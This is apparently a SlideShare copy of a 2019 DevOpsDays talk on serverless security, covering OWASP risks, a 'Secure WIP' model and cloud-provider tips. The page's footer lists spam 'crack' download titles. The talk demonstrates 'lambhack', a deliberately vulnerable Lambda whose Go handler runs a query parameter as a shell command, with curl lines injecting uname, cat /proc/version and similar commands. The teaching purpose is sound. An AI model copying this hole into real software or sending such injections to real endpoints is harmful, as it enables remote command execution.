SlideShare a Scribd company logo
Security in
the FaaS Lane
@wickett + @iteration1 @ DevOps Days Austin 2019
James Wickett
Dev Advocate, Verica
Author, LinkedIn Learning
wickett@verica.io
@wickett + @iteration1 @
DevOps Days Austin 2019
Karthik
Gaekwad
Principal Evangelist, Oracle Cloud
Infrastructure
cloudnative.oracle.com
@wickett + @iteration1 @
DevOps Days Austin 2019
Where we are going
* Serverless changes the security landscape
* Where security fits into serverless
* The Secure WIP model for serverless
* A quick look at lambhack
* Serverless provider security tips
@wickett + @iteration1 @ DevOps Days Austin 2019
What is
Serverless?
@wickett + @iteration1 @ DevOps Days Austin 2019
Serverless Definition
@wickett + @iteration1 @ DevOps Days Austin 2019
Serverless encourages functions as deploy units,
coupled with third party services that allow running
end-to-end applications without worrying about
system operation.
@wickett + @iteration1 @ DevOps Days Austin 2019
@wickett + @iteration1 @ DevOps Days Austin 2019
DevOpsDays Austin: Security in the FaaS Lane
Serverless is
IT Value
@wickett + @iteration1 @ DevOps Days Austin 2019
...without worrying about
system operation
— About 2 minutes ago
@wickett + @iteration1 @ DevOps Days Austin 2019
Yasss! Ops (and security)
for free!
@wickett + @iteration1 @ DevOps Days Austin 2019
Ops burden to rationalize
serverless model
— @patrickdebois
@wickett + @iteration1 @ DevOps Days Austin 2019
Tech burden can only be
transferred
@wickett + @iteration1 @ DevOps Days Austin 2019
Applies to
security too
@wickett + @iteration1 @ DevOps Days Austin 2019
Security burden is not
created or destroyed (in
serverless), merely
transferred
@wickett + @iteration1 @ DevOps Days Austin 2019
Security is in
crisis
@wickett + @iteration1 @ DevOps Days Austin 2019
Inequitable Labor
Distribution
@wickett + @iteration1 @ DevOps Days Austin 2019
10:1
Dev:Ops
@wickett + @iteration1 @ DevOps Days Austin 2019
100:10:1
Dev:Ops:Sec
@wickett + @iteration1 @ DevOps Days Austin 2019
The new OSI
model
@wickett + @iteration1 @
DevOps Days Austin 2019
Security
knows the
crisis is real
@wickett + @iteration1 @ DevOps Days Austin 2019
Companies are spending a great
deal on security, but we read of
massive computer-related attacks.
Clearly something is wrong. The
root of the problem is twofold:
we’re protecting the wrong things,
and we’re hurting productivity in
the process.
@wickett + @iteration1 @
DevOps Days Austin 2019
[Security by risk assessment]
introduces a dangerous fallacy:
that structured inadequacy is
almost as good as adequacy and
that underfunded security efforts
plus risk management are about
as good as properly funded
security work
@wickett + @iteration1 @
DevOps Days Austin 2019
And the
survey says
@wickett + @iteration1 @ DevOps Days Austin 2019
While engineering teams are busy
deploying leading-edge technologies,
security teams are still focused on fighting
yesterday’s battles.
SANS 2018 DevSecOps Survey
@wickett + @iteration1 @ DevOps Days Austin 2019
95%
of security professionals spend their time
protecting legacy applications
@wickett + @iteration1 @ DevOps Days Austin 2019
"many security teams
work with a worldview
where their goal is to
inhibit change as much
as possible"
@wickett + @iteration1 @
DevOps Days Austin 2019
Serverless model doesn't
fit into security team's
worldview
@wickett + @iteration1 @ DevOps Days Austin 2019
How do we
change this?
@wickett + @iteration1 @ DevOps Days Austin 2019
WIP@wickett + @iteration1 @ DevOps Days Austin 2019
Secure WIP for Serverless
→ The code that you actually write
→ The code you inherited
→ The container you were provided
@wickett + @iteration1 @ DevOps Days Austin 2019
Secure WIP
means collaboration
DevSecOps
@wickett + @iteration1 @ DevOps Days Austin 2019
WIP
@wickett + @iteration1 @ DevOps Days Austin 2019
How to WIP?
@wickett + @iteration1 @ DevOps Days Austin 2019
Security seperation of concerns
OWASP Top 10 (2017)
@wickett + @iteration1 @ DevOps Days Austin 2019
VERY relevant in serverless
* A1 Injection
* A5 Broken Access Control
* A6 Security Misconfiguration
* A9 Components with known vulnerabilities
* A10 Insufficient Logging & Monitoring
..talk about these as we go along..
@wickett + @iteration1 @ DevOps Days Austin 2019
Secure WIP
@wickett + @iteration1 @ DevOps Days Austin 2019
Secure WIP
Write
@wickett + @iteration1 @ DevOps Days Austin 2019
OWASP A1-Injection
Issue: Data coming is hostile
* Same issues as in traditional apps, but more prevalent.
* Frontend frameworks made this transparent before.
@wickett + @iteration1 @ DevOps Days Austin 2019
OWASP A1-Injection
What should I do?
* Keep your data seperate from commands/queries.
* Verify you are sanitizing any data being stored.
* Pay attention to input validation.
* Use whitelist validation wherever possible.
@wickett + @iteration1 @ DevOps Days Austin 2019
OWASP A5-Broken Access Control
Issue: Users cannot act outside their intended
permissions.
* URL Modificiations
Example: lambhack demo with uname
* Metadata, Header manipulation
* Token Expiration (or lack thereof)
@wickett + @iteration1 @ DevOps Days Austin 2019
OWASP A5-Broken Access Control
What do I do?
* Deny by default strategy
* Have an access control mechanism in place
* Rate limit against automated tooling
* Log the failures (but not the sensitive data)
@wickett + @iteration1 @ DevOps Days Austin 2019
Serverless
Myth
@wickett + @iteration1 @ DevOps Days Austin 2019
You can't do command
execution through the API
gateway
— Anonymous Developer
@wickett + @iteration1 @ DevOps Days Austin 2019
@wickett + @iteration1 @ DevOps Days Austin 2019
Vulnerable Lambda + API Gateway stack
→ Wanted to see make the point that appsec is
relevant in serverless
→ Born from the heritage of WebGoat, Rails Goat …
@wickett + @iteration1 @ DevOps Days Austin 2019
DevOpsDays Austin: Security in the FaaS Lane
Lambhack
→ A Vulnerable Lambda + API Gateway stack
→ Open Source, MIT licensed
→ Includes arbitrary code execution in a query
string
@wickett + @iteration1 @ DevOps Days Austin 2019
Basically a reverse shell in
http query string for lambda
@wickett + @iteration1 @ DevOps Days Austin 2019
func lambhackEvent(event *json.RawMessage,
context *sparta.LambdaContext,
w http.ResponseWriter,
logger *logrus.Logger) {
var lambdaEvent sparta.APIGatewayLambdaJSONEvent
_ = json.Unmarshal([]byte(*event), &lambdaEvent)
command := lambdaEvent.QueryParams["args"]
output := runner.Run(command)
logger.WithFields(logrus.Fields{
"Event": string(*event),
"Command": string(command),
"Output": string(output),
}).Info("Request received")
fmt.Fprintf(w, output)
time.Sleep(time.Second)
}
func lambhackEvent(event *json.RawMessage,
context *sparta.LambdaContext,
w http.ResponseWriter,
logger *logrus.Logger) {
var lambdaEvent sparta.APIGatewayLambdaJSONEvent
_ = json.Unmarshal([]byte(*event), &lambdaEvent)
command := lambdaEvent.QueryParams["args"]
output := runner.Run(command)
logger.WithFields(logrus.Fields{
"Event": string(*event),
"Command": string(command),
"Output": string(output),
}).Info("Request received")
fmt.Fprintf(w, output)
time.Sleep(time.Second)
}
func lambhackEvent(event *json.RawMessage,
context *sparta.LambdaContext,
w http.ResponseWriter,
logger *logrus.Logger) {
var lambdaEvent sparta.APIGatewayLambdaJSONEvent
_ = json.Unmarshal([]byte(*event), &lambdaEvent)
command := lambdaEvent.QueryParams["args"]
output := runner.Run(command)
logger.WithFields(logrus.Fields{
"Event": string(*event),
"Command": string(command),
"Output": string(output),
}).Info("Request received")
fmt.Fprintf(w, output)
time.Sleep(time.Second)
}
$ make provision
go run main.go provision -s lambhack
INFO[0000] ========================================
INFO[0000] Welcome to LambhackApplication GoVersion=go1.10 LinkFlags= Option=provision SpartaSHA=740028b SpartaVersion=0.20.1 UTC="2019-02-21T21:09:50Z"
INFO[0000] ========================================
INFO[0000] Provisioning service BuildID=8ffac7d463903457c5dc3221d5bf2b5fa0ee589c CodePipelineTrigger= InPlaceUpdates=false NOOP=false Tags=
INFO[0000] Verifying IAM Lambda execution roles
INFO[0000] IAM roles verified Count=1
INFO[0000] Checking S3 versioning Bucket=lambhack VersioningEnabled=false
INFO[0000] Running `go generate`
INFO[0000] Compiling binary Name=Sparta.lambda.amd64
INFO[0011] Executable binary size KB=22560 MB=22
INFO[0011] Creating code ZIP archive for upload TempName=./.sparta/LambhackApplication-code.zip
INFO[0011] Registering Sparta JS function FunctionName=main_lambhackEvent ScriptName=main_lambhackEvent
INFO[0011] Lambda function deployment package size KB=22659 MB=22
@wickett + @iteration1 @ DevOps Days Austin 2019
Description="API Gateway URL"
Key=APIGatewayURL
Value="https://XXXX.execute-api.us-east-1.amazonaws.com/prod"
@wickett + @iteration1 @ DevOps Days Austin 2019
Description="API Gateway URL"
Key=APIGatewayURL
Value="https://XXXX.execute-api.us-east-1.amazonaws.com/prod"
@wickett + @iteration1 @ DevOps Days Austin 2019
lambda-shell helper
#!/usr/bin/env bash
URL="https://xxxxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod"
echo -e `curl -s "$URL/lambhack/c?args=$1;+sleep+1"` | tr -d '"'
@wickett + @iteration1 @ DevOps Days Austin 2019
lambda-shell helper
#!/usr/bin/env bash
URL="https://xxxxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod"
echo -e `curl -s "$URL/lambhack/c?args=$1;+sleep+1"` | tr -d '"'
@wickett + @iteration1 @ DevOps Days Austin 2019
uname -a
curl “<URL>/lambhack/c?args=uname+-a;+sleep+1"
returns
"Linux ip-10-131-13-166 4.14.94-73.73.amzn1.x86_64 
#1 SMP Tue Jan 22 20:25:24 UTC 2019 x86_64 x86_64 
x86_64 GNU/Linuxn"
@wickett + @iteration1 @ DevOps Days Austin 2019
/proc/version
curl “<URL>/lambhack/c?args=cat+/proc/version;+sleep+1"
returns
"Linux version 4.14.94-73.73.amzn1.x86_64 
(mockbuild@gobi-build-64001) 
(gcc version 7.2.1 20170915 
(Red Hat 7.2.1-2) (GCC)) 
#1 SMP Tue Jan 22 20:25:24 UTC 2019n"
Look in /tmp
curl “<URL>/lambhack/c?args=ls+-la+/tmp;+sleep+1"
returns
total 8
drwx------ 2 sbx_user1064 482 4096 Feb 21 22:35 .
drwxr-xr-x 21 root root 4096 Feb 21 17:51 ..
@wickett + @iteration1 @ DevOps Days Austin 2019
I can haz web proxy
curl “<URL>/lambhack/c?args=curl+https://www.example.com;+sleep+1"
returns
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
github.com/wickett/lambhack
@wickett + @iteration1 @ DevOps Days Austin 2019
AppSec Thoughts from Lambhack
→ Lambda has limited Blast Radius, but not zero
→ Monitoring/Logging plays a key role here
→ Detect longer run times
→ Higher error rate occurrences
→ Log actions of lambdas
@wickett + @iteration1 @ DevOps Days Austin 2019
Secure WIP
Inherit
@wickett + @iteration1 @ DevOps Days Austin 2019
It all seems so simple...
222 Lines of Code
5 direct dependencies
54 total deps (incl. indirect)
(example thanks to snyk.io)
@wickett + @iteration1 @ DevOps Days Austin 2019
460,046 Lines
of Code
@wickett + @iteration1 @ DevOps Days Austin 2019
Most defect density
studies range from .5 to
10 defects per KLOC
@wickett + @iteration1 @ DevOps Days Austin 2019
More importantly, defect
density is not zero
@wickett + @iteration1 @ DevOps Days Austin 2019
Vulnerabilities are just
exploitable defects
@wickett + @iteration1 @ DevOps Days Austin 2019
DevOpsDays Austin: Security in the FaaS Lane
OWASP-A9 Components with known
vulnerabilities
What should I do?
* Monitor dependencies continuously.
* If you use a Docker based system, use the registry scanning tools.
* Watch for CVE's (they will happen).
@wickett + @iteration1 @ DevOps Days Austin 2019
OWASP-A6 Security Misconfiguration
Issue: Configuration or misconfiguration
* Function permissiveness and roles (too much privilege)
* Configuration for services (supporting cloud based services)
* Security configuration left in logging
@wickett + @iteration1 @ DevOps Days Austin 2019
OWASP-A6 Security Misconfiguration
What should I do?
* Consider limiting your blast radius
* Harden security provider config (IAM/storage)
* Scan for global bucket read/write access
* Use a principle of least privilege
* Enterprise setting: MFA to access cloud console
@wickett + @iteration1 @ DevOps Days Austin 2019
Most common attacks
(Via puresec whitepaper)
→ Crypto Mining (via remote code execution)
→ Hijacking business flow
→ Denial of wallet
→ Data misconfiguration
@wickett + @iteration1 @ DevOps Days Austin 2019
Secure WIP
Provided
@wickett + @iteration1 @ DevOps Days Austin 2019
Platform Help
@wickett + @iteration1 @ DevOps Days Austin 2019
Vendor Best Practices
→ AWS
→ Google Cloud
→ Azure
→ Oracle Cloud Infrastructure
@wickett + @iteration1 @ DevOps Days Austin 2019
AWS
@wickett + @iteration1 @ DevOps Days Austin 2019
Gone in 60 Milliseconds
Intrusion and Exfiltration in Server-less Architecture
https://media.ccc.de/v/33c3-7865-
gonein60_milliseconds
@wickett + @iteration1 @ DevOps Days Austin 2019
Focus on IAM
Roles and
Policies
@wickett + @iteration1 @ DevOps Days Austin 2019
Good hygiene
* Disable root access keys
* Manage users with profiles
* Secure your keys in your deploy system
* Secure keys in dev system
* Use provider MFA
@wickett + @iteration1 @ DevOps Days Austin 2019
AWS lets you
roll your own
@wickett + @iteration1 @ DevOps Days Austin 2019
DevOpsDays Austin: Security in the FaaS Lane
Choose your own adventure
→ Your very own Honeypot
→ Defend scanners and attack tooling
→ Parsing reputation lists
→ Deal with whitelisting/blacklisting
→ Tuning WAF Regex rules
@wickett + @iteration1 @ DevOps Days Austin 2019
Cool, but not exactly a friendly setup for
devs or ops
@wickett + @iteration1 @ DevOps Days Austin 2019
Azure
→ Lots of great resources in the docs
→ Overview
→ Security Policy
→ Key Vault Service
@wickett + @iteration1 @ DevOps Days Austin 2019
Google Cloud
→ Follow IAM and data best practices
→ Security command
→ Storage best practices
@wickett + @iteration1 @ DevOps Days Austin 2019
Oracle Cloud Infrastructure
→ Use compartments concepts and IAM to limit
blast radius
→ Limit specific user/group access to specific
compartments
→ Security guidance
@wickett + @iteration1 @ DevOps Days Austin 2019
What about roll your own?
→ Knative
→ OpenFaaS
→ Fn
→ and others...
@wickett + @iteration1 @ DevOps Days Austin 2019
Kubernetes Security
→ Many Faas providers can use K8s to deploy/scale
→ Use K8s best practices
→ Starting point- SignalSciences Webinar on
cloudnative security
@wickett + @iteration1 @ DevOps Days Austin 2019
Security Pitfalls for serverless
* Auditors/Compliance
* Lack of instrumentation
* Lack of security controls in dev pipeline
* Provider config
* Lambhack as a way to facilitate conversations
@wickett + @iteration1 @ DevOps Days Austin 2019
Security's Path to Influence
1. Identify Resource Misutilization
2. Add Telemetry and Feedback Loops
3. Automate and Monitor Across the Software
Pipeline
4. Influence Organizational Culture
@wickett + @iteration1 @ DevOps Days Austin 2019
The New Security Playbook
* Speed up delivery instead of blocking
* Empathy towards devs and ops
* Normal - provide value by making security normal
* Automate - security testing in every phase
@wickett + @iteration1 @ DevOps Days Austin 2019
Conclusions
* Use the Secure WIP model
* Involve security team in serverless
* New Security Playbook
* Foster discussion on where to apply controls
@wickett + @iteration1 @ DevOps Days Austin 2019
Keep in touch
@wickett @iteration1
@wickett + @iteration1 @ DevOps Days Austin 2019

More Related Content

PDF
The Seven Habits of the Highly Effective DevSecOp
PDF
The New Ways of Chaos, Security, and DevOps
PDF
DevSecOps and the New Path Forward
PDF
NewOps Days 2019: The New Ways of Chaos, Security, and DevOps
PDF
Serverless Security: A How-to Guide @ SnowFROC 2019
PDF
The Security, DevOps, and Chaos Playbook to Change the World
PDF
The New Ways of DevSecOps - The Secure Dev 2019
PDF
A DevSecOps Tale of Business, Engineering, and People
The Seven Habits of the Highly Effective DevSecOp
The New Ways of Chaos, Security, and DevOps
DevSecOps and the New Path Forward
NewOps Days 2019: The New Ways of Chaos, Security, and DevOps
Serverless Security: A How-to Guide @ SnowFROC 2019
The Security, DevOps, and Chaos Playbook to Change the World
The New Ways of DevSecOps - The Secure Dev 2019
A DevSecOps Tale of Business, Engineering, and People

What's hot (20)

PDF
A Way to Think about DevSecOps: MEASURE
PDF
Pragmatic Pipeline Security
PDF
Release Your Inner DevSecOp
PDF
The Emergent Cloud Security Toolchain for CI/CD
PDF
How to Effect Change in the Epistemological Wasteland of Application Security
PDF
A Tale of Woe, Chaos, and Business
PDF
AppSec California 2018: The Path of DevOps Enlightenment for InfoSec
PDF
Defense-Oriented DevOps for Modern Software Development
PDF
New Farming Methods in the Epistemological Wasteland of Application Security
PDF
The Path of DevOps Enlightenment for InfoSec
PDF
Epistemological Problem of Application Security
PDF
The Emergent Cloud Security Toolchain for CI/CD
PDF
Pragmatic Security and Rugged DevOps - SXSW 2015
PPTX
Overcoming the old ways of working with DevSecOps - Culture, Data, Graph, and...
PDF
LambHack: A Vulnerable Serverless Application
PDF
Shifting Security Left - The Innovation of DevSecOps - ValleyTechCon
PPTX
cdSummit Austin - Orchestrating the continuous delivery process - Andy Pemberton
PDF
Innotech Austin 2017: The Path of DevOps Enlightenment for InfoSec
PDF
Dockercon 2015 - Faster Cheaper Safer
PDF
When Developers Operate and Operators Develop
A Way to Think about DevSecOps: MEASURE
Pragmatic Pipeline Security
Release Your Inner DevSecOp
The Emergent Cloud Security Toolchain for CI/CD
How to Effect Change in the Epistemological Wasteland of Application Security
A Tale of Woe, Chaos, and Business
AppSec California 2018: The Path of DevOps Enlightenment for InfoSec
Defense-Oriented DevOps for Modern Software Development
New Farming Methods in the Epistemological Wasteland of Application Security
The Path of DevOps Enlightenment for InfoSec
Epistemological Problem of Application Security
The Emergent Cloud Security Toolchain for CI/CD
Pragmatic Security and Rugged DevOps - SXSW 2015
Overcoming the old ways of working with DevSecOps - Culture, Data, Graph, and...
LambHack: A Vulnerable Serverless Application
Shifting Security Left - The Innovation of DevSecOps - ValleyTechCon
cdSummit Austin - Orchestrating the continuous delivery process - Andy Pemberton
Innotech Austin 2017: The Path of DevOps Enlightenment for InfoSec
Dockercon 2015 - Faster Cheaper Safer
When Developers Operate and Operators Develop
Ad

Similar to DevOpsDays Austin: Security in the FaaS Lane (20)

PDF
Security in the FaaS Lane
PDF
Using Data Science & Serverless Python to find apartment in Toronto
PDF
Serverless Security: Doing Security in 100 milliseconds
PDF
apidays Australia 2023 - API Security Breach Analysis & Empowering Devs to M...
PDF
Security automation simplified: an intro to DIY security automation
PPTX
Building 12-factor Cloud Native Microservices
PDF
Microservices and APIs
PDF
apidays LIVE Australia 2020 - From micro to macro-coordination through domain...
PPTX
Spring on PAS - Fabio Marinelli
PDF
Security & Resiliency of Cloud Native Apps with Weave GitOps & Tetrate Servic...
PDF
Serverless apps with OpenWhisk
PDF
apidays Helsinki & North 2023 - API Security in the era of Generative AI, Mat...
PPT
FIWARE IoT Proposal & Community
PDF
Protection and Verification of Security Design Flaws
PDF
Web APIs - Mobiletech Conference 2015
PDF
OpenWhisk - Serverless Architecture
PDF
Kubecon SIG Apps December 2017 Update
PDF
DevNexus 2019: MicroProfile and Jakarta EE - What's Next?
PPTX
Master a Cloud Native Standard - MicroProfile.pptx
PDF
HITCON Defense Summit 2019 - 從 SAST 談持續式資安測試
Security in the FaaS Lane
Using Data Science & Serverless Python to find apartment in Toronto
Serverless Security: Doing Security in 100 milliseconds
apidays Australia 2023 - API Security Breach Analysis & Empowering Devs to M...
Security automation simplified: an intro to DIY security automation
Building 12-factor Cloud Native Microservices
Microservices and APIs
apidays LIVE Australia 2020 - From micro to macro-coordination through domain...
Spring on PAS - Fabio Marinelli
Security & Resiliency of Cloud Native Apps with Weave GitOps & Tetrate Servic...
Serverless apps with OpenWhisk
apidays Helsinki & North 2023 - API Security in the era of Generative AI, Mat...
FIWARE IoT Proposal & Community
Protection and Verification of Security Design Flaws
Web APIs - Mobiletech Conference 2015
OpenWhisk - Serverless Architecture
Kubecon SIG Apps December 2017 Update
DevNexus 2019: MicroProfile and Jakarta EE - What's Next?
Master a Cloud Native Standard - MicroProfile.pptx
HITCON Defense Summit 2019 - 從 SAST 談持續式資安測試
Ad

More from James Wickett (10)

PDF
A Pragmatic Union: Security and SRE
PDF
The New Security Playbook: DevSecOps
PDF
Adversary Driven Defense in the Real World
PDF
The DevSecOps Builder’s Guide to the CI/CD Pipeline
PDF
DevSecOps and the CI/CD Pipeline
PDF
The State of DevSecOps in 2018
PDF
DevSecOps in the Year 2018
PDF
Serverless Security at LASCON 2017
PDF
The Path of DevOps Enlightenment for InfoSec
PDF
DevSecOps Singapore 2017 - Security in the Delivery Pipeline
A Pragmatic Union: Security and SRE
The New Security Playbook: DevSecOps
Adversary Driven Defense in the Real World
The DevSecOps Builder’s Guide to the CI/CD Pipeline
DevSecOps and the CI/CD Pipeline
The State of DevSecOps in 2018
DevSecOps in the Year 2018
Serverless Security at LASCON 2017
The Path of DevOps Enlightenment for InfoSec
DevSecOps Singapore 2017 - Security in the Delivery Pipeline

Recently uploaded (20)

PPTX
assetexplorer- product-overview - presentation
PDF
Download FL Studio Crack Latest version 2025 ?
PPTX
Log360_SIEM_Solutions Overview PPT_Feb 2020.pptx
PDF
Cost to Outsource Software Development in 2025
PDF
iTop VPN Crack Latest Version Full Key 2025
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PPTX
Reimagine Home Health with the Power of Agentic AI​
PDF
CCleaner Pro 6.38.11537 Crack Final Latest Version 2025
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PPTX
Computer Software and OS of computer science of grade 11.pptx
PPTX
WiFi Honeypot Detecscfddssdffsedfseztor.pptx
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PPTX
Advanced SystemCare Ultimate Crack + Portable (2025)
PPTX
history of c programming in notes for students .pptx
PDF
Complete Guide to Website Development in Malaysia for SMEs
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PDF
AutoCAD Professional Crack 2025 With License Key
PPTX
Why Generative AI is the Future of Content, Code & Creativity?
PDF
Digital Systems & Binary Numbers (comprehensive )
assetexplorer- product-overview - presentation
Download FL Studio Crack Latest version 2025 ?
Log360_SIEM_Solutions Overview PPT_Feb 2020.pptx
Cost to Outsource Software Development in 2025
iTop VPN Crack Latest Version Full Key 2025
Navsoft: AI-Powered Business Solutions & Custom Software Development
Reimagine Home Health with the Power of Agentic AI​
CCleaner Pro 6.38.11537 Crack Final Latest Version 2025
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
Computer Software and OS of computer science of grade 11.pptx
WiFi Honeypot Detecscfddssdffsedfseztor.pptx
wealthsignaloriginal-com-DS-text-... (1).pdf
Advanced SystemCare Ultimate Crack + Portable (2025)
history of c programming in notes for students .pptx
Complete Guide to Website Development in Malaysia for SMEs
Wondershare Filmora 15 Crack With Activation Key [2025
Design an Analysis of Algorithms II-SECS-1021-03
AutoCAD Professional Crack 2025 With License Key
Why Generative AI is the Future of Content, Code & Creativity?
Digital Systems & Binary Numbers (comprehensive )

DevOpsDays Austin: Security in the FaaS Lane

  • 1. Security in the FaaS Lane @wickett + @iteration1 @ DevOps Days Austin 2019
  • 2. James Wickett Dev Advocate, Verica Author, LinkedIn Learning wickett@verica.io @wickett + @iteration1 @ DevOps Days Austin 2019
  • 3. Karthik Gaekwad Principal Evangelist, Oracle Cloud Infrastructure cloudnative.oracle.com @wickett + @iteration1 @ DevOps Days Austin 2019
  • 4. Where we are going * Serverless changes the security landscape * Where security fits into serverless * The Secure WIP model for serverless * A quick look at lambhack * Serverless provider security tips @wickett + @iteration1 @ DevOps Days Austin 2019
  • 5. What is Serverless? @wickett + @iteration1 @ DevOps Days Austin 2019
  • 6. Serverless Definition @wickett + @iteration1 @ DevOps Days Austin 2019
  • 7. Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 8. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 10. Serverless is IT Value @wickett + @iteration1 @ DevOps Days Austin 2019
  • 11. ...without worrying about system operation — About 2 minutes ago @wickett + @iteration1 @ DevOps Days Austin 2019
  • 12. Yasss! Ops (and security) for free! @wickett + @iteration1 @ DevOps Days Austin 2019
  • 13. Ops burden to rationalize serverless model — @patrickdebois @wickett + @iteration1 @ DevOps Days Austin 2019
  • 14. Tech burden can only be transferred @wickett + @iteration1 @ DevOps Days Austin 2019
  • 15. Applies to security too @wickett + @iteration1 @ DevOps Days Austin 2019
  • 16. Security burden is not created or destroyed (in serverless), merely transferred @wickett + @iteration1 @ DevOps Days Austin 2019
  • 17. Security is in crisis @wickett + @iteration1 @ DevOps Days Austin 2019
  • 18. Inequitable Labor Distribution @wickett + @iteration1 @ DevOps Days Austin 2019
  • 19. 10:1 Dev:Ops @wickett + @iteration1 @ DevOps Days Austin 2019
  • 20. 100:10:1 Dev:Ops:Sec @wickett + @iteration1 @ DevOps Days Austin 2019
  • 21. The new OSI model @wickett + @iteration1 @ DevOps Days Austin 2019
  • 22. Security knows the crisis is real @wickett + @iteration1 @ DevOps Days Austin 2019
  • 23. Companies are spending a great deal on security, but we read of massive computer-related attacks. Clearly something is wrong. The root of the problem is twofold: we’re protecting the wrong things, and we’re hurting productivity in the process. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 24. [Security by risk assessment] introduces a dangerous fallacy: that structured inadequacy is almost as good as adequacy and that underfunded security efforts plus risk management are about as good as properly funded security work @wickett + @iteration1 @ DevOps Days Austin 2019
  • 25. And the survey says @wickett + @iteration1 @ DevOps Days Austin 2019
  • 26. While engineering teams are busy deploying leading-edge technologies, security teams are still focused on fighting yesterday’s battles. SANS 2018 DevSecOps Survey @wickett + @iteration1 @ DevOps Days Austin 2019
  • 27. 95% of security professionals spend their time protecting legacy applications @wickett + @iteration1 @ DevOps Days Austin 2019
  • 28. "many security teams work with a worldview where their goal is to inhibit change as much as possible" @wickett + @iteration1 @ DevOps Days Austin 2019
  • 29. Serverless model doesn't fit into security team's worldview @wickett + @iteration1 @ DevOps Days Austin 2019
  • 30. How do we change this? @wickett + @iteration1 @ DevOps Days Austin 2019
  • 31. WIP@wickett + @iteration1 @ DevOps Days Austin 2019
  • 32. Secure WIP for Serverless → The code that you actually write → The code you inherited → The container you were provided @wickett + @iteration1 @ DevOps Days Austin 2019
  • 33. Secure WIP means collaboration DevSecOps @wickett + @iteration1 @ DevOps Days Austin 2019
  • 34. WIP @wickett + @iteration1 @ DevOps Days Austin 2019
  • 35. How to WIP? @wickett + @iteration1 @ DevOps Days Austin 2019
  • 37. OWASP Top 10 (2017) @wickett + @iteration1 @ DevOps Days Austin 2019
  • 38. VERY relevant in serverless * A1 Injection * A5 Broken Access Control * A6 Security Misconfiguration * A9 Components with known vulnerabilities * A10 Insufficient Logging & Monitoring ..talk about these as we go along.. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 39. Secure WIP @wickett + @iteration1 @ DevOps Days Austin 2019
  • 40. Secure WIP Write @wickett + @iteration1 @ DevOps Days Austin 2019
  • 41. OWASP A1-Injection Issue: Data coming is hostile * Same issues as in traditional apps, but more prevalent. * Frontend frameworks made this transparent before. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 42. OWASP A1-Injection What should I do? * Keep your data seperate from commands/queries. * Verify you are sanitizing any data being stored. * Pay attention to input validation. * Use whitelist validation wherever possible. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 43. OWASP A5-Broken Access Control Issue: Users cannot act outside their intended permissions. * URL Modificiations Example: lambhack demo with uname * Metadata, Header manipulation * Token Expiration (or lack thereof) @wickett + @iteration1 @ DevOps Days Austin 2019
  • 44. OWASP A5-Broken Access Control What do I do? * Deny by default strategy * Have an access control mechanism in place * Rate limit against automated tooling * Log the failures (but not the sensitive data) @wickett + @iteration1 @ DevOps Days Austin 2019
  • 45. Serverless Myth @wickett + @iteration1 @ DevOps Days Austin 2019
  • 46. You can't do command execution through the API gateway — Anonymous Developer @wickett + @iteration1 @ DevOps Days Austin 2019
  • 47. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 48. Vulnerable Lambda + API Gateway stack → Wanted to see make the point that appsec is relevant in serverless → Born from the heritage of WebGoat, Rails Goat … @wickett + @iteration1 @ DevOps Days Austin 2019
  • 50. Lambhack → A Vulnerable Lambda + API Gateway stack → Open Source, MIT licensed → Includes arbitrary code execution in a query string @wickett + @iteration1 @ DevOps Days Austin 2019
  • 51. Basically a reverse shell in http query string for lambda @wickett + @iteration1 @ DevOps Days Austin 2019
  • 52. func lambhackEvent(event *json.RawMessage, context *sparta.LambdaContext, w http.ResponseWriter, logger *logrus.Logger) { var lambdaEvent sparta.APIGatewayLambdaJSONEvent _ = json.Unmarshal([]byte(*event), &lambdaEvent) command := lambdaEvent.QueryParams["args"] output := runner.Run(command) logger.WithFields(logrus.Fields{ "Event": string(*event), "Command": string(command), "Output": string(output), }).Info("Request received") fmt.Fprintf(w, output) time.Sleep(time.Second) }
  • 53. func lambhackEvent(event *json.RawMessage, context *sparta.LambdaContext, w http.ResponseWriter, logger *logrus.Logger) { var lambdaEvent sparta.APIGatewayLambdaJSONEvent _ = json.Unmarshal([]byte(*event), &lambdaEvent) command := lambdaEvent.QueryParams["args"] output := runner.Run(command) logger.WithFields(logrus.Fields{ "Event": string(*event), "Command": string(command), "Output": string(output), }).Info("Request received") fmt.Fprintf(w, output) time.Sleep(time.Second) }
  • 54. func lambhackEvent(event *json.RawMessage, context *sparta.LambdaContext, w http.ResponseWriter, logger *logrus.Logger) { var lambdaEvent sparta.APIGatewayLambdaJSONEvent _ = json.Unmarshal([]byte(*event), &lambdaEvent) command := lambdaEvent.QueryParams["args"] output := runner.Run(command) logger.WithFields(logrus.Fields{ "Event": string(*event), "Command": string(command), "Output": string(output), }).Info("Request received") fmt.Fprintf(w, output) time.Sleep(time.Second) }
